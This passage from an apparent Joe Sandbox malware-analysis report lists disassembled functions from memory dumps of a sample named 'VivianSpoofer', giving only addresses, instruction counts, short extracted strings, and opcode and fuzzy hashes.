Function 00007FF848F209E5 Relevance: 1.6, Strings: 1, Instructions: 351COMMON

Download Yara Rule

Strings

1ah|, xrefs: 00007FF848F4D2D3

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: 1ah|
API String ID: 0-3562093943
Opcode ID: ca78c4273d3eb2c553800ccd4cdec90cdf080b94152c3bff98bc8fec4bb73f28
Instruction ID: 411ccb6130581fdd12bad3db58c0b9fa2ad0e62efbc4796f22fdaa7fdacad296
Opcode Fuzzy Hash: ca78c4273d3eb2c553800ccd4cdec90cdf080b94152c3bff98bc8fec4bb73f28
Instruction Fuzzy Hash: CB91123272C9060FD71CEA2E985657A72D7EBE9315758923EF04BC72D6DE34EC028644

Function 00007FF848F2A327 Relevance: 1.5, Strings: 1, Instructions: 203COMMON

Download Yara Rule

Strings

- W, xrefs: 00007FF848F2AA06

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: - W
API String ID: 0-474379141
Opcode ID: 63769e8cd180ca4589772003a66c37ffe28f1dcf17c432f0eff1aba2a72f28eb
Instruction ID: e2e5736b8bbd4c2a7e332145929c678419e0413ee18f0e89e3ef946dec32a8fa
Opcode Fuzzy Hash: 63769e8cd180ca4589772003a66c37ffe28f1dcf17c432f0eff1aba2a72f28eb
Instruction Fuzzy Hash: B1512E76F292700BE71C982E1C1317972C79BC9B11B29E13BD88ACB2CAED35DC1246C1

Function 00007FF848F242A0 Relevance: .5, Instructions: 452COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 49a09e9ee969af07684e4762a0864d4090dec431baa6b14a13e5d6243f7f26d5
Instruction ID: c3ae8911d8cea06a7645a0c093b35d48e7787dcb8d50f6defcdeb65f9e51251a
Opcode Fuzzy Hash: 49a09e9ee969af07684e4762a0864d4090dec431baa6b14a13e5d6243f7f26d5
Instruction Fuzzy Hash: ECE1E370E096498FDB48DBA8D4905BDBBF2EF99300F1481ABD049EB395DB38AD01CB50

Function 00007FF848F25522 Relevance: .4, Instructions: 362COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a0288d14f5643aad2e65b0f969a179d15b9541cc64c34736fa02a80e0f4a1d07
Instruction ID: 7cffe119bf3b364e6d17ff6ad850cf058a5c19a8f43b99fe52608ae138828b4d
Opcode Fuzzy Hash: a0288d14f5643aad2e65b0f969a179d15b9541cc64c34736fa02a80e0f4a1d07
Instruction Fuzzy Hash: 53D1BF71E0851A8FEB58DF98D8916BDB7F2EF98300F14812AD41AE7384DB34A946CF51

Function 00007FF848F23450 Relevance: .3, Instructions: 309COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 11aeca53c9fbf802bf6f73776377972de79b460aa8efb39edae4400e47a7f96f
Instruction ID: 4864a9f30d1e32ee3d4527d7cfaff1a53366d28549126173fe86121630badd60
Opcode Fuzzy Hash: 11aeca53c9fbf802bf6f73776377972de79b460aa8efb39edae4400e47a7f96f
Instruction Fuzzy Hash: B481633271C6494FD71CEB2DA85517977D3EB89311B14827EE08BC72D2EE21EC068789

Function 00007FF848F24549 Relevance: .3, Instructions: 283COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 651eb7d21bc3635c4d82e1b6da65251ece1c9b448877e9fe2d608f63e28c7f88
Instruction ID: 75ad6a3f793c730dac41b9cf660aa28047663ac44d3624ab2216fc65af855b22
Opcode Fuzzy Hash: 651eb7d21bc3635c4d82e1b6da65251ece1c9b448877e9fe2d608f63e28c7f88
Instruction Fuzzy Hash: C191C430E1DA498FDB49DBA8C4945BDBBF2FF59300F1441AAD04ADB291CB78AD05CB51

Function 00007FF848F2BC37 Relevance: .2, Instructions: 248COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bda220310dac4f6a54f2ab6aa45f984e03ed2f022545246b035c985e45806b13
Instruction ID: 3494f070d6b34e3ea96d10bb4c408f6167f65b8b6bdb3b655e182fb9c487029f
Opcode Fuzzy Hash: bda220310dac4f6a54f2ab6aa45f984e03ed2f022545246b035c985e45806b13
Instruction Fuzzy Hash: 7661573271D5494FD30DE63D98165B9BBD7DBC6260B18417EE48BCB2E3DE2598028344

Function 00007FF848F23318 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d6265aa7fbf9d468dd73fbf991e1335c31a31c5310987b2f834b68d76092bbaf
Instruction ID: 782ec03b1e1302ae4f5737ad03bdd31e74ef9c88a74000c796a1193244f6fe6a
Opcode Fuzzy Hash: d6265aa7fbf9d468dd73fbf991e1335c31a31c5310987b2f834b68d76092bbaf
Instruction Fuzzy Hash: 8B510431B5C2464FD31CDA1D9881475B6D6EBD9301B28E67DE08BC76DADB24A80B8684

Function 00007FF848F21F4B Relevance: .2, Instructions: 152COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a937df63c6a2ec2feab86357d217291677c0a1d1164140372d7732c9aa8ddd7b
Instruction ID: 6a25d52fd3c60943874d10938b0591605f0017d919a5c7614fa61a972b73ea62
Opcode Fuzzy Hash: a937df63c6a2ec2feab86357d217291677c0a1d1164140372d7732c9aa8ddd7b
Instruction Fuzzy Hash: 6251F771E0D6894FD745DBA8C8506ADBBF2FF8A300F0481E6D049DB292DA38E916CB50

Function 00007FF848F2BE7D Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e86ead3e6d3cdb9ddeb3bef54ca4f90ce2710d2653a6197bb62145d85a7d77a3
Instruction ID: 207347f16892ba73de9e826ef55f1838069e4d91cef2fe7b5c31b43f74b6fabe
Opcode Fuzzy Hash: e86ead3e6d3cdb9ddeb3bef54ca4f90ce2710d2653a6197bb62145d85a7d77a3
Instruction Fuzzy Hash: 424126327289054F930CDA2E9852079B2CBEBD9350718C23EE54BCB3EADE34EC168644

Function 00007FF848F20340 Relevance: 4.4, Strings: 3, Instructions: 645COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF848F5B3ED
VUUU, xrefs: 00007FF848F5B3D4
qJ_H, xrefs: 00007FF848F5B4BF

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: VUUU$gfff$qJ_H
API String ID: 0-922131589
Opcode ID: 06121a9d9151a80eccf9ce9284ba947a658759a643c97c6eb830e4989dde9486
Instruction ID: 506f80d177deca55938f4dfcf7efbf560ac97069ec15abbf565a7fc3fc05d76c
Opcode Fuzzy Hash: 06121a9d9151a80eccf9ce9284ba947a658759a643c97c6eb830e4989dde9486
Instruction Fuzzy Hash: 82227230A28A4D8FDB58EF18C885AA9B7E1FF58344F144279D45EC7296DB34F842CB85

Function 00007FF848F217C0 Relevance: 3.1, Strings: 2, Instructions: 587COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF848F581C1
gfff, xrefs: 00007FF848F581DA

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: VUUU$gfff
API String ID: 0-2662692612
Opcode ID: 466d346ed268a0bea51d0c9c4a7a898b48da69fe93761cf0e0e6c17e7704d152
Instruction ID: a101f6560cad73bd7e733b8ef85ce96d0f0fff1b45f392e8ea7ab27d0935eb38
Opcode Fuzzy Hash: 466d346ed268a0bea51d0c9c4a7a898b48da69fe93761cf0e0e6c17e7704d152
Instruction Fuzzy Hash: 5712A430A2CA4A8FDB58EF1CC445AAAB7E1FF58350F544679D45AC3296DB34F842CB84

Function 00007FF848F21888 Relevance: 2.8, Strings: 2, Instructions: 294COMMON

Download Yara Rule

Strings

.N_I, xrefs: 00007FF848F21904
rH, xrefs: 00007FF848F218E9

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: .N_I$rH
API String ID: 0-162789786
Opcode ID: 92316892a462af400556c68acf02f9bbad2d945586edc820ff86543e4ef7f916
Instruction ID: 3286331eae602758140ab7a81d18e599808aab2a83e7f5166baacc048e882089
Opcode Fuzzy Hash: 92316892a462af400556c68acf02f9bbad2d945586edc820ff86543e4ef7f916
Instruction Fuzzy Hash: C7A14632D0D6898FE749EBA8D8502E8BBF1FF45340F0441FAD049CB293DA38A986C754

Function 00007FF848F21880 Relevance: 2.7, Strings: 2, Instructions: 180COMMON

Download Yara Rule

Strings

.N_I, xrefs: 00007FF848F21904
rH, xrefs: 00007FF848F218E9

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: .N_I$rH
API String ID: 0-162789786
Opcode ID: 7320c504b47b9d4d3336d5fb672551f323954f2d90317be0e976ffdc4727664f
Instruction ID: 4b91e396143420999db278f3a2a3ca2039319a53aace570dd6b3d2cb7d19b18b
Opcode Fuzzy Hash: 7320c504b47b9d4d3336d5fb672551f323954f2d90317be0e976ffdc4727664f
Instruction Fuzzy Hash: CB513432D0D5498FEB94FBA8E8546EC77F1FF54350F0441BAD009CB292DA38A985CB58

Function 00007FF848FF5D31 Relevance: 1.5, Strings: 1, Instructions: 212COMMON

Download Yara Rule

Strings

p1H, xrefs: 00007FF848FF5F2B

Memory Dump Source

Source File: 0000000C.00000002.3943410979.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848ff0000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: p1H
API String ID: 0-1339280448
Opcode ID: 1834c4b83e9a89b37f336a89d109c95fb8fcbdb90878a893830d8e066de02047
Instruction ID: c39d4cfd0a2bc6e863f3001360c12c2d8dd0a0874091603d61fe8072d0e2cdad
Opcode Fuzzy Hash: 1834c4b83e9a89b37f336a89d109c95fb8fcbdb90878a893830d8e066de02047
Instruction Fuzzy Hash: E661A63291EBC94FE357972818291A57FA1EF57290F0E41F7C188CB1E7DA1D6C0A835A

Function 00007FF848F235B0 Relevance: 1.4, Strings: 1, Instructions: 136COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FF848F23674

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 76f947eba34fd5325705f6564ef4e32957391d811c8c27303880eee789eb806c
Instruction ID: 1032aaf4287f2f1071b2fa7b12071b0f26dc591eb0bed04265375d7ea7be702e
Opcode Fuzzy Hash: 76f947eba34fd5325705f6564ef4e32957391d811c8c27303880eee789eb806c
Instruction Fuzzy Hash: 1A3147B2E1D88E1FE358F62C68596B67BD6DB94290F04427BD00AC72D6EE1D980A8245

Function 00007FF848F2012D Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

_, xrefs: 00007FF848F20139

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: _
API String ID: 0-701932520
Opcode ID: 67fbddf2be48e7e2b5f83f529cf13157797e315ca63f1d6a6ced49802f75f402
Instruction ID: 3eefa4b8700e9d7c0834767a843ac527c82509737ea4825a77c53d876112e374
Opcode Fuzzy Hash: 67fbddf2be48e7e2b5f83f529cf13157797e315ca63f1d6a6ced49802f75f402
Instruction Fuzzy Hash: C221F637A1D6618BE354FBADB4D51FA77A0EF812BAF04023BD1C9C9093DA1D444686D8

Function 00007FF848F23607 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FF848F23674

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 7f4e615b815d9643ed17ae7df388b4677e89131b6f4ad2ff4d881b13b03f3305
Instruction ID: 99f00cdd51869336c1ea312d558e5bcf99a01bcfc1ce287b1abf1c531b54b942
Opcode Fuzzy Hash: 7f4e615b815d9643ed17ae7df388b4677e89131b6f4ad2ff4d881b13b03f3305
Instruction Fuzzy Hash: 20112E72E0D84E1FE358F63C98596727BD5EB94650F04427AD40BC73D6EE1E58058345

Function 00007FF848F23630 Relevance: 1.3, Strings: 1, Instructions: 65COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FF848F23674

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: e43b06180165d551ddf6eed985d2b42b5d7dcb2a6f627d53e88b4d00cf9ac844
Instruction ID: a342c6a8739793a77b2521c79d81d740494bca869eeae7994264f4ae51934450
Opcode Fuzzy Hash: e43b06180165d551ddf6eed985d2b42b5d7dcb2a6f627d53e88b4d00cf9ac844
Instruction Fuzzy Hash: 5B01DB31B1980E1FE398F62D9859AB776D6E7E4350B00427AD40FC73DAED296C054784

Function 00007FF848F2372E Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

M_H, xrefs: 00007FF848F23674

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID: M_H
API String ID: 0-372873180
Opcode ID: 6348b015ae4ceacbc6c60b88cdce479b36b2c988634cf5933984ddde440fe2fe
Instruction ID: 42c29d2745b30955a52ec7856cfc7848bd4242cd3d2b5a9332fd74d7cd585c89
Opcode Fuzzy Hash: 6348b015ae4ceacbc6c60b88cdce479b36b2c988634cf5933984ddde440fe2fe
Instruction Fuzzy Hash: 3911C471B1C90F4FE798FA2C58556B672D2DBE4340F04863AD40BC73EAEE6DAC094685

Function 00007FF848F20220 Relevance: .6, Instructions: 613COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 24349841b94321e49abb42556bcef4f3d76668b75e30741423d9036b69add3e9
Instruction ID: 3b87299bb9a16bf06ed79f3c6247d216ee833307bf25ba547f2383fd4ce0efba
Opcode Fuzzy Hash: 24349841b94321e49abb42556bcef4f3d76668b75e30741423d9036b69add3e9
Instruction Fuzzy Hash: 0A126F30A1CA498FDB98EB1CD441AA9B7E1FF58344F1041BAD44ED3296DF39ED428B85

Function 00007FF848F216A0 Relevance: .5, Instructions: 480COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d7c847f5e4a77edf03d0e9a56ff8719f7eab2866a1977c6e08f064494b39c2fd
Instruction ID: 5c7f3e1c1a000b1deb167edca0c3cd340bf244743d8efbc5f4a285e35e219972
Opcode Fuzzy Hash: d7c847f5e4a77edf03d0e9a56ff8719f7eab2866a1977c6e08f064494b39c2fd
Instruction Fuzzy Hash: 64F13D30A1CA0E8FDB58EF58D495AA977E1FF98344F144169D80ED7296CB39F842CB84

Function 00007FF848F22359 Relevance: .4, Instructions: 376COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5a78abaf303d59813a72ae7ed6d8eacdbe0975d421edbcf4dd0f126cde055134
Instruction ID: e0926ba3d27817632114ba3a244c0d9a9fe0911caa61b7806b13217b4b715487
Opcode Fuzzy Hash: 5a78abaf303d59813a72ae7ed6d8eacdbe0975d421edbcf4dd0f126cde055134
Instruction Fuzzy Hash: 56A13631E1DA4A4FE798AB6C68562B9B7D1FFA8394F04057AD44DC32D3EE29AC034345

Function 00007FF848F2B7E1 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7c40c1a241077cfca115742f3fa376106ac3e7a6453d6e54d697ba994394f331
Instruction ID: 79c3e7cbcaf9e5075edf2e3bb827db3eb9126fee7d5828ee49d46148b29960cb
Opcode Fuzzy Hash: 7c40c1a241077cfca115742f3fa376106ac3e7a6453d6e54d697ba994394f331
Instruction Fuzzy Hash: 33B16D31A1CA0D8FDB58EF58D494AA977F2FF98340F144269D40ED7296CB35AC42CB85

Function 00007FF848F201D8 Relevance: .3, Instructions: 286COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 57ef61e1825c0756cba206bec28b1d81369da5b8323d58538573e0f6659a2f24
Instruction ID: 028212525919f6d1cbf441d37a9cc7a2cb10f5a2c847932d709b3fcae4694035
Opcode Fuzzy Hash: 57ef61e1825c0756cba206bec28b1d81369da5b8323d58538573e0f6659a2f24
Instruction Fuzzy Hash: 0A81133160CB494FE758EB6CE8466B5B3E1FB99351F10027ED48DC3292EE25B8468786

Function 00007FF848F22699 Relevance: .2, Instructions: 222COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fb876bd1b10a65d33fc114fc0dbb1213905e2f5faa86affcb00326c943b0b7
Instruction ID: 451ac76baaaecaf9446321ca0fe9538f9d39ea8e1d41ff57d938c1a4897c5557
Opcode Fuzzy Hash: 72fb876bd1b10a65d33fc114fc0dbb1213905e2f5faa86affcb00326c943b0b7
Instruction Fuzzy Hash: 6A71B671C0E6C25FE356A7686C551F5BFA0FF22694F1809BBC498C70D3DA2E6409836A

Function 00007FF848F209DD Relevance: .2, Instructions: 195COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d5b5023dec67b9dcbdf5f061e6e8b586d8ec10581fe5d4260f06edde1bf80d19
Instruction ID: 60294f3a83524d1242b8327160d716fa271d58793914c8fe52a949bc896683dc
Opcode Fuzzy Hash: d5b5023dec67b9dcbdf5f061e6e8b586d8ec10581fe5d4260f06edde1bf80d19
Instruction Fuzzy Hash: C741F232B189048FD70CEA2DA85557936D7EBDD321718227EF48BC73E6DD20EC028684

Function 00007FF848FFB7A4 Relevance: .2, Instructions: 175COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3943410979.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848ff0000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8614cf5d7d7e4559e5ccd3a40e20ee9b88a1ad9d60dc03d9b4cb77a19b279d09
Instruction ID: 908f385e4876bb099495a18430daf6813acced134e0383d410c2cc4c0db3705b
Opcode Fuzzy Hash: 8614cf5d7d7e4559e5ccd3a40e20ee9b88a1ad9d60dc03d9b4cb77a19b279d09
Instruction Fuzzy Hash: 8841E631E2EB891FE355A72818552717BD1EF9A651F5901BBC54CC72E3DE189C02C38A

Function 00007FF848FF57C1 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3943410979.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848ff0000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c6678c92f6f81db16e175d99388be77e8c6fe5f35ae1750e5140ed434f100a68
Instruction ID: c85e040a352941be141933b8aca9146a24ffb989ab8285e2832673daa5148c2c
Opcode Fuzzy Hash: c6678c92f6f81db16e175d99388be77e8c6fe5f35ae1750e5140ed434f100a68
Instruction Fuzzy Hash: 56419472C0EBD54FE366A73818691B06FE0EF56260F1901EBC189CB1E3DA0D6C46C35A

Function 00007FF848E0F920 Relevance: .1, Instructions: 141COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3941863091.00007FF848E0D000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848E0D000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848e0d000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e5a5dc042f1ebeebc6bd41842c8b81e8442d85c069799526a52a08379d7d2f80
Instruction ID: e53e863c934403d5b8480384d7a68face55f3d57476a7d151e4c3b59b350184b
Opcode Fuzzy Hash: e5a5dc042f1ebeebc6bd41842c8b81e8442d85c069799526a52a08379d7d2f80
Instruction Fuzzy Hash: E541F23080DBC45FE7569B799841A623FF0FF57220F1545EFD088CB1A3D628A856C7A2

Function 00007FF848F272BB Relevance: .1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e21b3dab5b55104da2713e370c116ad468c57b00fbfc05fd4b54ad7e5843e826
Instruction ID: 052f67dd79ff005c6a6fd9e588985b4436c47e214c955f88faf531e32454a8d2
Opcode Fuzzy Hash: e21b3dab5b55104da2713e370c116ad468c57b00fbfc05fd4b54ad7e5843e826
Instruction Fuzzy Hash: CA318731B2C74A0BD71CA91EA81217A72C2D7D9B06F14523ED9CBC76C1DF24681346CA

Function 00007FF848FF2731 Relevance: .1, Instructions: 133COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3943410979.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848ff0000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 203bc1ba6d2308fd1cad93f1437a0200ea7481ee08c9b9092fcab1d527c4aa68
Instruction ID: f7ad782de964b1603e8258898303314cd92028538fcf405f13e6ed437044314f
Opcode Fuzzy Hash: 203bc1ba6d2308fd1cad93f1437a0200ea7481ee08c9b9092fcab1d527c4aa68
Instruction Fuzzy Hash: 47310A72A0DBC90FD356973C98681647FE1EF96350B0902FBD089CB2E7DD659C458392

Function 00007FF848FF4A01 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3943410979.00007FF848FF0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848FF0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848ff0000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b88d0492b3754e217a2d0f793869c04da21f8d88384d2d81b65232b3e48a6847
Instruction ID: d06c8b6e5296d84be3ddc77974ab9b5df1fc15919b4bf2e4cb3c4f7e88fa7b3d
Opcode Fuzzy Hash: b88d0492b3754e217a2d0f793869c04da21f8d88384d2d81b65232b3e48a6847
Instruction Fuzzy Hash: 5731F231A0EFC90FE396AB6808581757BE1EF66290F0901FBC508C71E3EE089C06835E

Function 00007FF848F29E7F Relevance: .1, Instructions: 126COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_7ff848f20000_VivianSpoofer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6a4f031d9fd205f7120d1112efc55cce62c4dc49a328e6866f4939d7c0717a29
Instruction ID: 0511ee8485313b3be40a4d508cf2748ef17b86f5bb6f129abf5fc14aad5839be
Opcode Fuzzy Hash: 6a4f031d9fd205f7120d1112efc55cce62c4dc49a328e6866f4939d7c0717a29
Instruction Fuzzy Hash: EF310431F1CA094FE61DBA3D681117932C79BD8241F54423EE48BC77DADE29EC0A5248

Function 00007FF848F255CD Relevance: .1, Instructions: 125COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3942226757.00007FF848F20000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FF848F20000, based on PE: false

Joe Sandbox IDA Plugin

